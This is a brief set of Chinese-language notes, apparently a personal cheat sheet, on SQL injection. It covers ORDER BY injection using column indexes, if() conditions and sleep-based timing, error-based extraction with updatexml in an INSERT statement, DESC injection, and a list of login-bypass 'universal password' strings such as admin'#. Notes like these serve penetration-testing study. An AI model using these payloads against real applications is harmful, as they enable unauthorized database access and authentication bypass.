order by 注入
order by 在不知道列名的情况下,可以通过列的序号来代替相应的列。但是经过测试这里无法做运算,如order by 3-1和order by 2是不一样的。
当desc参数可控的时候,使用if(exp,desc,asc)带入order by 会失效。
updatexml() 放入order by 后面进行注入
order by if(0,name,year)可用
Order by if(0,name,sleep(2))
order by 可以根据多列进行排序,因此注入的语句不一定限制在order by 的第一个参数,可以通过逗号对新的列进行注入。
insert into users(id,username,password )values(1,’admin’or updatexml(0,concat(0x7e,database()),1) ,’pass’);
desc的注入
desc tablename column_name
反引号 —》保留字 反引号中间为空代表空格
万能密码:
admin’#
‘+’ ‘+’
0
add’=’
NULL \N (略去空格)